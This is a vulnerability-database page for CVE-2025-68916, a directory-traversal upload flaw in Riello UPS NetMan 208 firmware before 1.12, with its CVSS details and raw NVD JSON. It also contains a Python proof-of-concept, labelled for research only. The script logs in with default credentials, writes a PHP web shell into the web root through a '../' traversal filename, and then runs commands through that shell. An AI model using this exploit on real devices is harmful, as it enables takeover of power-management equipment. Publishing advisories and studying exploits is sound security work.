Security Vulnerability Report
中文
CVE-2025-68916 CVSS 9.1 CRITICAL

CVE-2025-68916

Published: 2025-12-24 20:16:09
Last Modified: 2026-01-02 19:44:03

Description

Riello UPS NetMan 208 Application before 1.12 allows cgi-bin/certsupload.cgi /../ directory traversal for file upload with resultant code execution.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:riello-ups:netman_208:*:*:*:*:*:*:*:* - VULNERABLE
Riello UPS NetMan 208 Application < 1.12

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-68916 PoC - Riello UPS NetMan 208 Directory Traversal File Upload RCE Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys target = "http://target-ip" # Replace with target IP username = "admin" # Replace with valid credentials password = "admin" # Replace with valid password def exploit_cve_2025_68916(): """Exploit directory traversal file upload vulnerability""" # Step 1: Login to get session login_url = f"{target}/cgi-bin/login.cgi" login_data = { "username": username, "password": password } session = requests.Session() try: response = session.post(login_url, data=login_data, timeout=10) except requests.exceptions.RequestException as e: print(f"[-] Connection failed: {e}") return False # Step 2: Upload malicious file via directory traversal upload_url = f"{target}/cgi-bin/certsupload.cgi" # Path traversal payload to write to web root malicious_filename = "../../../../../../../../../var/www/html/shell.php" files = { 'certificate': (malicious_filename, '<?php system($_GET["cmd"]); ?>', 'application/x-php') } try: response = session.post(upload_url, files=files, timeout=10) print(f"[+] Upload request sent") print(f"[*] Response status: {response.status_code}") # Step 3: Verify shell was uploaded shell_url = f"{target}/shell.php" test_response = session.get(f"{shell_url}?cmd=id", timeout=10) if test_response.status_code == 200: print(f"[+] Shell uploaded successfully!") print(f"[+] Access shell at: {shell_url}") print(f"[*] Test command output: {test_response.text}") return True except requests.exceptions.RequestException as e: print(f"[-] Exploitation failed: {e}") return False return False if __name__ == "__main__": print("[*] CVE-2025-68916 - Riello UPS NetMan 208 RCE PoC") exploit_cve_2025_68916()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68916", "sourceIdentifier": "[email protected]", "published": "2025-12-24T20:16:08.667", "lastModified": "2026-01-02T19:44:03.497", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Riello UPS NetMan 208 Application before 1.12 allows cgi-bin/certsupload.cgi /../ directory traversal for file upload with resultant code execution."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-25"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:riello-ups:netman_208:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.12", "matchCriteriaId": "39629084-39D2-4B39-8452-3B582FB9A16D"}]}]}], "references": [{"url": "https://github.com/gerico-lab/riello-multiple-vulnerabilities-2025", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}